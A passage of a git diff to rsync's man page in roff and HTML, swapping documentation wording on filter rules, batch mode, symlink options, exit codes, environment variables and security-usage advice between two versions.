in\n directories that are being deleted.  For instance, the\n-\\fB\\-\\-cvs\\-exclude\\fP (\\fB\\-C\\fP) option's default rules that exclude things\n+\\fB\\-\\-cvs-exclude\\fP (\\fB\\-C\\fP) option's default rules that exclude things\n like \"CVS\" and \"\\fB*.o\\fP\" are marked as perishable, and will not prevent a\n directory that was removed on the source from being deleted on the\n destination.\n .IP o\n An \\fBx\\fP indicates that a rule affects xattr names in xattr copy/delete\n-operations (and is thus ignored when matching file/directory names).  If no\n+operations (and is thus ignored when matching file/dir names).  If no\n xattr-matching rules are specified, a default xattr filtering rule is used\n (see the \\fB\\-\\-xattrs\\fP option).\n .P\n@@ -4825,7 +4435,7 @@ global anchoring rules (i.e. a leading slash matches at the root of the\n transfer).\n .P\n If a per-directory merge-file is specified with a path that is a parent\n-directory of the first transfer directory, rsync will scan all the parent directories\n+directory of the first transfer directory, rsync will scan all the parent dirs\n from that starting point to the transfer directory for the indicated\n per-directory file.  For instance, here is a common filter (see \\fB\\-F\\fP):\n .RS 4\n@@ -4853,13 +4463,13 @@ rsync -av --filter=': .rsync-filter' /src/path/ /dest/dir\n .P\n The first two commands above will look for \".rsync-filter\" in \"/\" and \"/src\"\n before the normal scan begins looking for the file in \"/src/path\" and its\n-subdirectories.  The last command avoids the parent-directory scan and only looks for\n+subdirectories.  The last command avoids the parent-dir scan and only looks for\n the \".rsync-filter\" files in each directory that is a part of the transfer.\n .P\n If you want to include the contents of a \".cvsignore\" in your patterns, you\n should use the rule \":C\", which creates a dir-merge of the .cvsignore file, but\n parsed in a CVS-compatible manner.  You can use this to affect where the\n-\\fB\\-\\-cvs\\-exclude\\fP (\\fB\\-C\\fP) option's inclusion of the per-directory\n+\\fB\\-\\-cvs-exclude\\fP (\\fB\\-C\\fP) option's inclusion of the per-directory\n \\&.cvsignore file gets placed into your rules by putting the \":C\" wherever you\n like in your filter rules.  Without this, rsync would add the dir-merge rule\n for the .cvsignore file at the end of all your other rules (giving it a lower\n@@ -4878,7 +4488,7 @@ rsync -avC --include=foo.o -f :C --exclude='*.old' a/ b\n .P\n Both of the above rsync commands are identical.  Each one will merge all the\n per-directory .cvsignore rules in the middle of the list rather than at the\n-end.  This allows their directory-specific rules to supersede the rules that follow\n+end.  This allows their dir-specific rules to supersede the rules that follow\n the :C instead of being subservient to all your rules.  To affect the other CVS\n exclude rules (i.e. the default list of exclusions, the contents of\n $HOME/.cvsignore, and the value of $CVSIGNORE) you should omit the \\fB\\-C\\fP\n@@ -4954,7 +4564,7 @@ Target file: /dest/you/bar/baz\n .P\n The easiest way to see what name you should filter is to just look at the\n output when using \\fB\\-\\-verbose\\fP and put a / in front of the name (use the\n-\\fB\\-\\-dry\\-run\\fP option if you're not yet ready to copy any files).\n+\\fB\\-\\-dry-run\\fP option if you're not yet ready to copy any files).\n .P\n .SS \"PER-DIRECTORY RULES AND DELETE\"\n .P\n@@ -4973,7 +4583,7 @@ rsync -av --filter=':e .excl' host:src/dir /dest\n However, if you want to do a delete on the receiving side AND you want some\n files to be excluded from being deleted, you'll need to be sure that the\n receiving side knows what files to exclude.  The easiest way is to include the\n-per-directory merge files in the transfer and use \\fB\\-\\-delete\\-after\\fP,\n+per-directory merge files in the transfer and use \\fB\\-\\-delete-after\\fP,\n because this ensures that the receiving side gets all the same exclude rules as\n the sending side before it tries to delete anything:\n .RS 4\n@@ -5036,7 +4646,7 @@ receiver-side exclude (protect) the receiver will remove a matching file named\n \"foo\" if deletions are requested.\n .P\n Given that the files are still in the sender's file list, the\n-\\fB\\-\\-prune\\-empty\\-dirs\\fP option will not judge a directory as being empty\n+\\fB\\-\\-prune-empty-dirs\\fP option will not judge a directory as being empty\n even if it contains only files that the transfer rules omitted.\n .P\n Similarly, a transfer rule does not have any extra effect on which files are\n@@ -5045,7 +4655,7 @@ does not prevent big files from being deleted.\n .P\n Examples of transfer rules include the default \"quick check\" algorithm (which\n compares size & modify time), the \\fB\\-\\-update\\fP option, the\n-\\fB\\-\\-max\\-size\\fP option, the \\fB\\-\\-ignore\\-non\\-existing\\fP option, and a\n+\\fB\\-\\-max-size\\fP option, the \\fB\\-\\-ignore-non-existing\\fP option, and a\n few others.\n .P\n .SH \"BATCH MODE\"\n@@ -5072,7 +4682,7 @@ stored in the batch file.\n .P\n For your convenience, a script file is also created when the write-batch option\n is used: it will be named the same as the batch file with \".sh\" appended.  This\n-script file contains a command line suitable for updating a destination tree\n+script file contains a command-line suitable for updating a destination tree\n using the associated batch file.  It can be executed using a Bourne (or\n Bourne-like) shell, optionally passing in an alternate destination tree\n pathname which is then used instead of the original destination path.  This is\n@@ -5113,9 +4723,9 @@ options when running the read-batch command on the remote host.\n The second example reads the batch data via standard input so that the batch\n file doesn't need to be copied to the remote machine first.  This example\n avoids the foo.sh script because it needed to use a modified\n-\\fB\\-\\-read\\-batch\\fP option, but you could edit the script file if you\n+\\fB\\-\\-read-batch\\fP option, but you could edit the script file if you\n wished to make use of it (just be sure that no other option is trying to use\n-standard input, such as the \\fB\\-\\-exclude\\-from=\\-\\fP option).\n+standard input, such as the \\fB\\-\\-exclude-from=\\-\\fP option).\n .P\n Caveats:\n .P\n@@ -5137,14 +4747,14 @@ used to generate the batch file.  Rsync will die with an error if the protocol\n version in the batch file is too new for the batch-reading rsync to handle.\n See also the \\fB\\-\\-protocol\\fP option for a way to have the creating rsync\n generate a batch file that an older rsync can understand.  (Note that batch\n-files changed format in version 2.6.3 (September 2004), so mixing versions\n-older than that with newer versions will not work.)\n+files changed format in version 2.6.3, so mixing versions older than that with\n+newer versions will not work.)\n .P\n When reading a batch file, rsync will force the value of certain options to\n match the data in the batch file if you didn't set them to the same as the\n batch-writing command.  Other options can (and should) be changed.  For\n-instance \\fB\\-\\-write\\-batch\\fP changes to \\fB\\-\\-read\\-batch\\fP,\n-\\fB\\-\\-files\\-from\\fP is dropped, and the \\fB\\-\\-filter\\fP /\n+instance \\fB\\-\\-write-batch\\fP changes to \\fB\\-\\-read-batch\\fP,\n+\\fB\\-\\-files-from\\fP is dropped, and the \\fB\\-\\-filter\\fP /\n \\fB\\-\\-include\\fP / \\fB\\-\\-exclude\\fP options are not needed unless one of\n the \\fB\\-\\-delete\\fP options is specified.\n .P\n@@ -5153,7 +4763,10 @@ options into a single list that is appended as a \"here\" document to the shell\n script file.  An advanced user can use this to modify the exclude list if a\n change in what gets deleted by \\fB\\-\\-delete\\fP is desired.  A normal user\n can ignore this detail and just use the shell script as an easy way to run the\n-appropriate \\fB\\-\\-read\\-batch\\fP command for the batched data.\n+appropriate \\fB\\-\\-read-batch\\fP command for the batched data.\n+.P\n+The original batch mode in rsync was based on \"rsync+\", but the latest\n+version uses a new implementation.\n .P\n .SH \"SYMBOLIC LINKS\"\n .P\n@@ -5168,17 +4781,17 @@ If \\fB\\-\\-links\\fP is specified, then symlinks are added to the transfer\n them with the same target on the destination.  Note that \\fB\\-\\-archive\\fP\n implies \\fB\\-\\-links\\fP.\n .P\n-If \\fB\\-\\-copy\\-links\\fP is specified, then symlinks are \"collapsed\" by\n+If \\fB\\-\\-copy-links\\fP is specified, then symlinks are \"collapsed\" by\n copying their referent, rather than the symlink.\n .P\n Rsync can also distinguish \"safe\" and \"unsafe\" symbolic links.  An example\n where this might be used is a web site mirror that wishes to ensure that the\n rsync module that is copied does not include symbolic links to \\fB/etc/passwd\\fP in\n-the public section of the site.  Using \\fB\\-\\-copy\\-unsafe\\-links\\fP will cause\n+the public section of the site.  Using \\fB\\-\\-copy-unsafe-links\\fP will cause\n any links to be copied as the file they point to on the destination.  Using\n-\\fB\\-\\-safe\\-links\\fP will cause unsafe links to be omitted by the receiver.\n+\\fB\\-\\-safe-links\\fP will cause unsafe links to be omitted by the receiver.\n (Note that you must specify or imply \\fB\\-\\-links\\fP for\n-\\fB\\-\\-safe\\-links\\fP to have any effect.)\n+\\fB\\-\\-safe-links\\fP to have any effect.)\n .P\n Symbolic links are considered unsafe if they are absolute symlinks (start with\n \\fB/\\fP), empty, or if they contain enough \"..\" components to ascend from the top\n@@ -5188,28 +4801,28 @@ Here's a summary of how the symlink options are interpreted.  The list is in\n order of precedence, so if your combination of options isn't mentioned, use the\n first line that is a complete subset of your options:\n .P\n-.IP \"\\fB\\-\\-copy\\-links\\fP\"\n+.IP \"\\fB\\-\\-copy-links\\fP\"\n Turn all symlinks into normal files and directories\n (leaving no symlinks in the transfer for any other options to affect).\n-.IP \"\\fB\\-\\-copy\\-dirlinks\\fP\"\n+.IP \"\\fB\\-\\-copy-dirlinks\\fP\"\n Turn just symlinks to directories into real\n directories, leaving all other symlinks to be handled as described below.\n-.IP \"\\fB\\-\\-links\\ \\-\\-copy\\-unsafe\\-links\\fP\"\n+.IP \"\\fB\\-\\-links\\ \\-\\-copy-unsafe-links\\fP\"\n Turn all unsafe symlinks\n into files and create all safe symlinks.\n-.IP \"\\fB\\-\\-copy\\-unsafe\\-links\\fP\"\n+.IP \"\\fB\\-\\-copy-unsafe-links\\fP\"\n Turn all unsafe symlinks into files, noisily\n skip all safe symlinks.\n-.IP \"\\fB\\-\\-links\\ \\-\\-safe\\-links\\fP\"\n+.IP \"\\fB\\-\\-links\\ \\-\\-safe-links\\fP\"\n The receiver skips creating\n unsafe symlinks found in the transfer and creates the safe ones.\n .IP \"\\fB\\-\\-links\\fP\"\n Create all symlinks.\n .P\n-For the effect of \\fB\\-\\-munge\\-links\\fP, see the discussion in that option's\n+For the effect of \\fB\\-\\-munge-links\\fP, see the discussion in that option's\n section.\n .P\n-Note that the \\fB\\-\\-keep\\-dirlinks\\fP option does not affect symlinks in the\n+Note that the \\fB\\-\\-keep-dirlinks\\fP option does not effect symlinks in the\n transfer but instead affects how rsync treats a symlink to a directory that\n already exists on the receiving side.  See that option's section for a warning.\n .P\n@@ -5249,7 +4862,7 @@ file is included or excluded.\n .IP o\n \\fB2\\fP \\- Protocol incompatibility\n .IP o\n-\\fB3\\fP \\- Errors selecting input/output files, directories\n+\\fB3\\fP \\- Errors selecting input/output files, dirs\n .IP o\n .P\n .RS\n@@ -5263,6 +4876,8 @@ an option was specified that is supported by the client and not by the server\n .IP o\n \\fB5\\fP \\- Error starting client-server protocol\n .IP o\n+\\fB6\\fP \\- Daemon unable to append to log-file\n+.IP o\n \\fB10\\fP \\- Error in socket I/O\n .IP o\n \\fB11\\fP \\- Error in file I/O\n@@ -5273,13 +4888,7 @@ an option was specified that is supported by the client and not by the server\n .IP o\n \\fB14\\fP \\- Error in IPC code\n .IP o\n-\\fB15\\fP \\- Sibling process crashed (e.g. core dumped).\n-.IP o\n-\\fB16\\fP \\- Sibling process was killed by a signal.\n-.IP o\n-\\fB19\\fP \\- Received SIGUSR1.\n-.IP o\n-\\fB20\\fP \\- Received SIGINT, SIGTERM, or SIGHUP.\n+\\fB20\\fP \\- Received SIGUSR1 or SIGINT\n .IP o\n \\fB21\\fP \\- Some error returned by \\fBwaitpid()\\fP\n .IP o\n@@ -5289,7 +4898,7 @@ an option was specified that is supported by the client and not by the server\n .IP o\n \\fB24\\fP \\- Partial transfer due to vanished source files\n .IP o\n-\\fB25\\fP \\- The \\-\\-max\\-delete limit stopped deletions\n+\\fB25\\fP \\- The \\-\\-max-delete limit stopped deletions\n .IP o\n \\fB30\\fP \\- Timeout in data send/receive\n .IP o\n@@ -5299,30 +4908,30 @@ an option was specified that is supported by the client and not by the server\n .P\n .IP \"\\fBCVSIGNORE\\fP\"\n The CVSIGNORE environment variable supplements any ignore patterns in\n-\\&.cvsignore files.  See the \\fB\\-\\-cvs\\-exclude\\fP option for more details.\n+\\&.cvsignore files.  See the \\fB\\-\\-cvs-exclude\\fP option for more details.\n .IP \"\\fBRSYNC_ICONV\\fP\"\n Specify a default \\fB\\-\\-iconv\\fP setting using this environment\n-variable.\n+variable. First supported in 3.0.0.\n .IP \"\\fBRSYNC_OLD_ARGS\\fP\"\n-Specify a \"1\" if you want the \\fB\\-\\-old\\-args\\fP option to be enabled by\n+Specify a \"1\" if you want the \\fB\\-\\-old-args\\fP option to be enabled by\n default, a \"2\" (or more) if you want it to be enabled in the\n repeated-option state, or a \"0\" to make sure that it is disabled by\n default. When this environment variable is set to a non-zero value, it\n supersedes the \\fBRSYNC_PROTECT_ARGS\\fP variable.\n .IP\n-This variable is ignored if \\fB\\-\\-old\\-args\\fP, \\fB\\-\\-no\\-old\\-args\\fP, or\n-\\fB\\-\\-secluded\\-args\\fP is specified on the command line.\n+This variable is ignored if \\fB\\-\\-old-args\\fP, \\fB\\-\\-no-old-args\\fP, or\n+\\fB\\-\\-secluded-args\\fP is specified on the command line.\n .IP\n-First supported in 3.2.4 (April 2022).\n+First supported in 3.2.4.\n .IP \"\\fBRSYNC_PROTECT_ARGS\\fP\"\n-Specify a non-zero numeric value if you want the \\fB\\-\\-secluded\\-args\\fP\n+Specify a non-zero numeric value if you want the \\fB\\-\\-secluded-args\\fP\n option to be enabled by default, or a zero value to make sure that it is\n disabled by default.\n .IP\n-This variable is ignored if \\fB\\-\\-secluded\\-args\\fP, \\fB\\-\\-no\\-secluded\\-args\\fP,\n-or \\fB\\-\\-old\\-args\\fP is specified on the command line.\n+This variable is ignored if \\fB\\-\\-secluded-args\\fP, \\fB\\-\\-no-secluded-args\\fP,\n+or \\fB\\-\\-old-args\\fP is specified on the command line.\n .IP\n-Starting in 3.2.4 (April 2022), this variable is ignored if\n+First supported in 3.1.0.  Starting in 3.2.4, this variable is ignored if\n \\fBRSYNC_OLD_ARGS\\fP is set to a non-zero value.\n .IP \"\\fBRSYNC_RSH\\fP\"\n This environment variable allows you to override the default shell used as\n@@ -5344,7 +4953,7 @@ to \"nobody\".  If both are set, \\fBUSER\\fP takes precedence.\n .IP \"\\fBRSYNC_PARTIAL_DIR\\fP\"\n This environment variable specifies the directory to use for a\n \\fB\\-\\-partial\\fP transfer without implying that partial transfers be\n-enabled.  See the \\fB\\-\\-partial\\-dir\\fP option for full details.\n+enabled.  See the \\fB\\-\\-partial-dir\\fP option for full details.\n .IP \"\\fBRSYNC_COMPRESS_LIST\\fP\"\n This environment variable allows you to customize the negotiation of the\n compression algorithm by specifying an alternate order or a reduced list of\n@@ -5354,10 +4963,10 @@ names.  See the \\fB\\-\\-compress\\fP option for full details.\n This environment variable allows you to customize the negotiation of the\n checksum algorithm by specifying an alternate order or a reduced list of\n names.  Use the command \\fBrsync\\ \\-\\-version\\fP to see the available checksum\n-names.  See the \\fB\\-\\-checksum\\-choice\\fP option for full details.\n+names.  See the \\fB\\-\\-checksum-choice\\fP option for full details.\n .IP \"\\fBRSYNC_MAX_ALLOC\\fP\"\n This environment variable sets an allocation maximum as if you had used the\n-\\fB\\-\\-max\\-alloc\\fP option.\n+\\fB\\-\\-max-alloc\\fP option.\n .IP \"\\fBRSYNC_PORT\\fP\"\n This environment variable is not read by rsync, but is instead set in\n its sub-environment when rsync is running the remote shell in combination\n@@ -5390,7 +4999,7 @@ CONNECTING TO AN RSYNC DAEMON for full details.\n Times are transferred as *nix time_t values.\n .IP o\n When transferring to FAT filesystems rsync may re-sync unmodified files.  See\n-the comments on the \\fB\\-\\-modify\\-window\\fP option.\n+the comments on the \\fB\\-\\-modify-window\\fP option.\n .IP o\n File permissions, devices, etc. are transferred as native numerical values.\n .IP o\n@@ -5402,7 +5011,7 @@ Please report bugs! See the web site at\n .P\n .SH \"VERSION\"\n .P\n-This manpage is current for version 3.5.2 of rsync.\n+This manpage is current for version 3.4.1 of rsync.\n .P\n .SH \"INTERNAL OPTIONS\"\n .P\n@@ -5452,8 +5061,6 @@ David Bell.  I've probably missed some people, my apologies if I have.\n Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.\n .P\n-Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.\n-.P\n Mailing lists for support and development are available at\n .UR https://lists.samba.org/\n .UE .\ndiff --git a/rsync.1.html b/rsync.1.html\nindex 63ad640..eac7dcd 100644\n--- a/rsync.1.html\n+++ b/rsync.1.html\n@@ -32,7 +32,7 @@ dd p:first-of-type {\n </style>\n </head><body>\n <h2 id=\"NAME\">NAME<a href=\"#NAME\" class=\"tgt\"></a></h2>\n-<p>rsync -&#8288; a fast, versatile, local/remote file-copying tool</p>\n+<p>rsync -&#8288; a fast, versatile, remote (and local) file-copying tool</p>\n <h2 id=\"SYNOPSIS\">SYNOPSIS<a href=\"#SYNOPSIS\" class=\"tgt\"></a></h2>\n <pre><code>Local:\n     rsync [OPTION...] SRC... [DEST]\n@@ -49,15 +49,15 @@ Access via rsync daemon:\n         rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]\n     Push:\n         rsync [OPTION...] SRC... [USER@]HOST::DEST\n-        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST\n+        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST)\n </code></pre>\n-<p>Usages with just one SRC argument and no DEST argument will list the source files instead\n+<p>Usages with just one SRC arg and no DEST arg will list the source files instead\n of copying.</p>\n-<p>The online version of this manpage (which includes cross-linking of topics)\n+<p>The online version of this manpage (that includes cross-linking of topics)\n is available at <a href=\"https://download.samba.org/pub/rsync/rsync.1\">https://download.samba.org/pub/rsync/rsync.1</a>.</p>\n <h2 id=\"DESCRIPTION\">DESCRIPTION<a href=\"#DESCRIPTION\" class=\"tgt\"></a></h2>\n <p>Rsync is a fast and extraordinarily versatile file copying tool.  It can copy\n-locally, to/from another host over a remote shell, or to/from a remote rsync\n+locally, to/from another host over any remote shell, or to/from a remote rsync\n daemon.  It offers a large number of options that control every aspect of its\n behavior and permit very flexible specification of the set of files to be\n copied.  It is famous for its delta-transfer algorithm, which reduces the\n@@ -72,7 +72,7 @@ are made on the destination file directly when the quick check indicates that\n the file's data does not need to be updated.</p>\n <p>Some of the additional features of rsync are:</p>\n <ul>\n-<li>support for copying hard and soft links, devices, owners, groups, and permissions</li>\n+<li>support for copying links, devices, owners, groups, and permissions</li>\n <li>exclude and exclude-from options similar to GNU tar</li>\n <li>a CVS exclude mode for ignoring the same files that CVS would ignore</li>\n <li>can use any transparent remote shell, including ssh or rsh</li>\n@@ -82,51 +82,35 @@ the file's data does not need to be updated.</p>\n </ul>\n <h2 id=\"GENERAL\">GENERAL<a href=\"#GENERAL\" class=\"tgt\"></a></h2>\n <p>Rsync copies files either to or from a remote host, or locally on the current\n-host.  It does not support copying files between two different remote hosts.</p>\n+host (it does not support copying files between two remote hosts).</p>\n <p>There are two different ways for rsync to contact a remote system: using a\n-remote-shell program as the transport (such as ssh or rsh), or by contacting an\n+remote-shell program as the transport (such as ssh or rsh) or contacting an\n rsync daemon directly via TCP.  The remote-shell transport is used whenever the\n source or destination path contains a single colon (:) separator after a host\n-specification.  In this case, the local rsync process uses the remote\n-shell program to start an rsync process on the remote system.  The two\n-rsync processes then communicate via the remote shell program to\n-accomplish the desired transfers.  In this case, the files that are\n-accessible on the remote system are those accessible to the user ID\n-under which the remote shell starts the remote rsync process.</p>\n-<p>Contacting an rsync daemon directly happens when the source or\n+specification.  Contacting an rsync daemon directly happens when the source or\n destination path contains a double colon (::) separator after a host\n-specification, OR when an rsync:// URL is specified.\n-In this case, the remote rsync daemon process will\n-provide access only to specific sets of files, called modules,\n-according to its configuration.\n-It is also possible to contact an rsync daemon via a remote-shell\n-transport; see the <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-CONNECTION</a> section for details.</p>\n-<p>As a special case, if a single source argument is specified without a destination,\n+specification, OR when an rsync:// URL is specified (see also the <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING\n+RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION</a> section for an\n+exception to this latter rule).</p>\n+<p>As a special case, if a single source arg is specified without a destination,\n the files are listed in an output format similar to &quot;<code>ls -l</code>&quot;.</p>\n-<p>If neither the source or destination path specify a remote host,\n+<p>As expected, if neither the source or destination path specify a remote host,\n the copy occurs locally (see also the <a href=\"#opt--list-only\"><code>--list-only</code></a> option).</p>\n-<p>Rsync refers to the local side as the client and the remote side as\n-the server.  The server is not to be confused with an rsync daemon.\n-A daemon is always a server, but a server can be either a daemon or a\n-remote-shell spawned process.  If the transfer is local, then the\n-rsync subprocess which receives the contents of the files being\n-transferred is the server.</p>\n+<p>Rsync refers to the local side as the client and the remote side as the server.\n+Don't confuse server with an rsync daemon.  A daemon is always a server, but a\n+server can be either a daemon or a remote-shell spawned process.</p>\n <h2 id=\"SETUP\">SETUP<a href=\"#SETUP\" class=\"tgt\"></a></h2>\n-<p>Most Linux distributions include rsync as a package that can be\n-installed using the package manager.\n-If for any reason you need to build and install rsync from source,\n-see the file README.md for installation instructions.</p>\n+<p>See the file README.md for installation instructions.</p>\n <p>Once installed, you can use rsync to any machine that you can access via a\n-remote shell, or that has an rsync daemon available.\n-For remote transfers, rsync normally uses ssh for its\n-communications.  Alternatively,\n-you can specify any remote shell you like, either by using the <a href=\"#opt-e\"><code>-e</code></a>\n+remote shell (as well as some that you can access using the rsync daemon-mode\n+protocol).  For remote transfers, a modern rsync uses ssh for its\n+communications, but it may have been configured to use a different remote shell\n+by default, such as rsh or remsh.</p>\n+<p>You can also specify any remote shell you like, either by using the <a href=\"#opt-e\"><code>-e</code></a>\n command line option, or by setting the <a href=\"#RSYNC_RSH\"><code>RSYNC_RSH</code></a> environment variable.</p>\n <p>Note that rsync must be installed on both the source and destination machines.</p>\n <h2 id=\"USAGE\">USAGE<a href=\"#USAGE\" class=\"tgt\"></a></h2>\n-<p>You use rsync in a similar way to other file-copying commands such\n-as cp and rcp.  You must specify a source and a\n+<p>You use rsync in the same way you use rcp.  You must specify a source and a\n destination, one of which may be remote.</p>\n <p>Perhaps the best way to explain the syntax is with some examples:</p>\n <blockquote>\n@@ -138,8 +122,8 @@ directory to the directory src on the machine foo.  If any of the files already\n exist on the remote system then the rsync remote-update protocol is used to\n update the file by sending only the differences in the data.  Note that the\n expansion of wildcards on the command-line (<code>*.c</code>) into a list of files is\n-handled by the shell before it runs rsync and not by rsync itself (as for\n-other Posix-style programs).</p>\n+handled by the shell before it runs rsync and not by rsync itself (exactly the\n+same as all other Posix-style programs).</p>\n <blockquote>\n <pre><code>rsync -avz foo:src/bar /data/tmp\n </code></pre>\n@@ -191,37 +175,33 @@ directory you like:</p>\n <pre><code>rsync -ai foo/ bar/\n </code></pre>\n </blockquote>\n-<p>Rsync also has the ability to copy a single file to a\n-destination file with a different name.  The rules for this are:</p>\n+<p>Rsync also has the ability to customize a destination file's name when copying\n+a single item.  The rules for this are:</p>\n <ul>\n <li>The transfer list must consist of a single item (either a file or an empty\n directory)</li>\n <li>The final element of the destination path must not exist as a directory</li>\n <li>The destination path must not have been specified with a trailing slash</li>\n </ul>\n-<p>Under those circumstances, rsync will use the specified destination\n-path as the filename of the destination (rather than constructing a\n-filename using the last element of the source path).  It is best\n-to use this idiom only when copying a file, and to use the above trailing-slash\n+<p>Under those circumstances, rsync will set the name of the destination's single\n+item to the last element of the destination path.  Keep in mind that it is best\n+to only use this idiom when copying a file and use the above trailing-slash\n idiom when copying a directory.</p>\n-<p>The following example copies the <code>foo.c</code> file as <code>bar.c</code> in the <code>save</code> directory\n+<p>The following example copies the <code>foo.c</code> file as <code>bar.c</code> in the <code>save</code> dir\n (assuming that <code>bar.c</code> isn't a directory):</p>\n <blockquote>\n <pre><code>rsync -ai src/foo.c save/bar.c\n </code></pre>\n </blockquote>\n-<p>The single-item copy rule can give unexpected results if a wildcard\n-pattern for the source yields a single item, and the destination,\n-though specified without a trailing slash, is intended to be a\n-directory, but that directory does not exist.\n-For example, if <code>src/*.c</code> matches one file and <code>save/dir</code>\n-doesn't exist, this will perhaps confusingly name the destination file\n-<code>save/dir</code>:</p>\n+<p>The single-item copy rule might accidentally bite you if you unknowingly copy a\n+single item and specify a destination dir that doesn't exist (without using a\n+trailing slash).  For example, if <code>src/*.c</code> matches one file and <code>save/dir</code>\n+doesn't exist, this will confuse you by naming the destination file <code>save/dir</code>:</p>\n <blockquote>\n <pre><code>rsync -ai src/*.c save/dir\n </code></pre>\n </blockquote>\n-<p>To prevent such an accident, either make sure the destination directory exists or\n+<p>To prevent such an accident, either make sure the destination dir exists or\n specify the destination path with a trailing slash:</p>\n <blockquote>\n <pre><code>rsync -ai src/*.c save/dir/\n@@ -230,111 +210,58 @@ specify the destination path with a trailing slash:</p>\n <h2 id=\"SORTED_TRANSFER_ORDER\">SORTED TRANSFER ORDER<a href=\"#SORTED_TRANSFER_ORDER\" class=\"tgt\"></a></h2>\n <p>Rsync always sorts the specified filenames into its internal transfer list.\n This handles the merging together of the contents of identically named\n-directories and makes it easy to remove duplicate filenames. It can, however,\n-result in files being transferred in a different order from that\n-specified on the command-line.</p>\n-<p>If you need a particular file to be transferred prior to another, the\n-only way to be guaranteed of that is to separate the files into\n-different rsync calls.  If it is sufficient for the destination files to\n-appear at almost the same time, consider using\n-<a href=\"#opt--delay-updates\"><code>--delay-updates</code></a>, which doesn't affect the sorted transfer order, but\n-does make the final file-updating phase happen much more rapidly.</p>\n-<h2 id=\"SECURITY\">SECURITY<a href=\"#SECURITY\" class=\"tgt\"></a></h2>\n-<p>Rsync is frequently run across a network and with elevated privileges, so it is\n-worth thinking about who you are trusting and with what.  This section is a\n-practical guide for safe use; the project's <code>SECURITY.md</code> describes the full\n-threat model and the per-platform residuals.</p>\n-<h3 id=\"Use_an_authenticated__encrypted_transport\">Use an authenticated, encrypted transport<a href=\"#Use_an_authenticated__encrypted_transport\" class=\"tgt\"></a></h3>\n-<p>A plain <code>host:path</code> transfer runs over your remote shell (ssh by default), which\n-authenticates the peer and encrypts the connection&nbsp;-&#8288;-&#8288; this is the safe default.\n-A direct daemon connection (<code>host::module</code> or <code>rsync://</code>) is <strong>not encrypted</strong>\n-and its authentication is comparatively weak, so do not send sensitive data\n-across an untrusted network.\n-Instead tunnel it over ssh\n-(see <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION</a>) or wrap it in\n-TLS with <a href=\"rsync-ssl.1\"><strong>rsync-ssl</strong>(1)</a>, setting <code>RSYNC_SSL_CA_CERT</code> so that the\n-server certificate's chain <strong>and</strong> hostname are verified.  When you must supply a\n-daemon password non-interactively, put it in a <a href=\"#opt--password-file\"><code>--password-file</code></a> that is\n-readable only by you (mode 600) rather than on the command line.</p>\n-<h3 id=\"Copying_from_an_untrusted_sending_host\">Copying from an untrusted sending host<a href=\"#Copying_from_an_untrusted_sending_host\" class=\"tgt\"></a></h3>\n-<p>When receiving from a remote host, rsync takes steps to ensure that a\n-corrupted or compromised remote rsync process can't cause the local\n-rsync process to access files beyond the bounds of what was requested.\n-Rsync ensures that the list of files being\n-transferred stays within the requested tree, and will abort when a\n-file list contains an absolute or relative path that tries to escape\n-the top of the transfer.  It also verifies that no extra source arguments\n-were added to the transfer and that the file list obeys the exclude rules\n-that were sent to the sender.</p>\n-<p>For those who want to be extra careful,\n-it is safest to copy untrusted remote files into a dedicated\n-destination directory.  For example, instead of copying into your home\n-directory:</p>\n+directories, makes it easy to remove duplicate filenames. It can, however,\n+confuse someone when the files are transferred in a different order than what\n+was given on the command-line.</p>\n+<p>If you need a particular file to be transferred prior to another, either\n+separate the files into different rsync calls, or consider using\n+<a href=\"#opt--delay-updates\"><code>--delay-updates</code></a> (which doesn't affect the sorted transfer order, but\n+does make the final file-updating phase happen much more rapidly).</p>\n+<h2 id=\"MULTI-HOST_SECURITY\">MULTI-HOST SECURITY<a href=\"#MULTI-HOST_SECURITY\" class=\"tgt\"></a></h2>\n+<p>Rsync takes steps to ensure that the file requests that are shared in a\n+transfer are protected against various security issues.  Most of the potential\n+problems arise on the receiving side where rsync takes steps to ensure that the\n+list of files being transferred remains within the bounds of what was\n+requested.</p>\n+<p>Toward this end, rsync 3.1.2 and later have aborted when a file list contains\n+an absolute or relative path that tries to escape out of the top of the\n+transfer.  Also, beginning with version 3.2.5, rsync does two more safety\n+checks of the file list to (1) ensure that no extra source arguments were added\n+into the transfer other than those that the client requested and (2) ensure\n+that the file list obeys the exclude rules that were sent to the sender.</p>\n+<p>For those that don't yet have a 3.2.5 client rsync (or those that want to be\n+extra careful), it is safest to do a copy into a dedicated destination\n+directory for the remote files when you don't trust the remote host.  For\n+example, instead of doing an rsync copy into your home directory:</p>\n <blockquote>\n <pre><code>rsync -aiv host1:dir1 ~\n </code></pre>\n </blockquote>\n-<p>dedicate a &quot;host1-files&quot; directory to the remote content:</p>\n+<p>Dedicate a &quot;host1-files&quot; dir to the remote content:</p>\n <blockquote>\n <pre><code>rsync -aiv host1:dir1 ~/host1-files\n </code></pre>\n </blockquote>\n <p>See the <a href=\"#opt--trust-sender\"><code>--trust-sender</code></a> option for additional details.</p>\n-<h3 id=\"Copying_between_case-preserving_and_case-insensitive_filesystems\">Copying between case-preserving and case-insensitive filesystems<a href=\"#Copying_between_case-preserving_and_case-insensitive_filesystems\" class=\"tgt\"></a></h3>\n-<p>Copying from case-preserving to case-insensitive filesystems requires\n-caution, because it is possible for the name of a symbolic link to\n-overlap with the name of a file or directory once the case\n-distinctions are removed, which can cause potentially dangerous\n-results such as files being written outside the destination directory\n-hierarchy.\n-If you must perform\n-such a copy, either disable symlinks via <code>--no-links</code> or enable the munging of\n-symlinks via <a href=\"#opt--munge-links\"><code>--munge-links</code></a> (and make sure you use the right local or\n-remote option).\n-This does not, however, ensure\n-that you get a full copy of all the files (since that may not be possible when\n-the names overlap); a potentially better solution is to build a safe list 